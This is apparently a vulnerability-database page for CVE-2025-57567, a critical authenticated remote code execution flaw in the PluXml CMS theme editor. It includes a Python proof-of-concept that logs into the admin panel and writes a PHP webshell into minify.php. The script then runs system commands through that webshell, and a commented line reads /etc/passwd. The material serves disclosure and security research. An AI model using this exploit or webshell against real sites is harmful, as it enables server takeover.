CVE-2025-57567

Description

A remote code execution (RCE) vulnerability exists in the PluXml CMS theme editor, specifically in the minify.php file located under the default theme directory (/themes/defaut/css/minify.php). An authenticated administrator user can overwrite this file with arbitrary PHP code via the admin panel, enabling execution of system commands.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PluXml CMS 所有未修复版本（具体版本范围待官方确认）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-57567 PluXml CMS Theme Editor RCE PoC
# Description: Exploits arbitrary PHP code injection via theme editor in minify.php

import requests
from bs4 import BeautifulSoup
import sys

TARGET_URL = "http://target-pluxml-site.com"
ADMIN_USER = "admin"
ADMIN_PASS = "password"

# Step 1: Login to admin panel
session = requests.Session()
login_url = f"{TARGET_URL}/core/admin/auth.php"
login_data = {
    "login": ADMIN_USER,
    "password": ADMIN_PASS,
    "submit": ""
}
response = session.post(login_url, data=login_data)

# Step 2: Inject malicious PHP code into minify.php via theme editor
malicious_code = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
theme_editor_url = f"{TARGET_URL}/core/admin/theme.php"
edit_data = {
    "action": "edit",
    "file": "../themes/defaut/css/minify.php",
    "content": malicious_code
}
response = session.post(theme_editor_url, data=edit_data)

# Step 3: Execute system command via injected webshell
shell_url = f"{TARGET_URL}/themes/defaut/css/minify.php?cmd=id"
response = requests.get(shell_url)
print(f"Command output: {response.text}")

# Step 4: Get reverse shell or full server access
# response = requests.get(f"{shell_url}&cmd=cat+/etc/passwd")
# print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-57567
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-57567
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-57567/
[4] VulDB https://vuldb.com/cve/CVE-2025-57567
[5] http://pluxml.com
[6] https://github.com/lukehebe/Vulnerability-Disclosures/blob/main/CVE-2025-57567.pdf

Raw JSON Data

JSON

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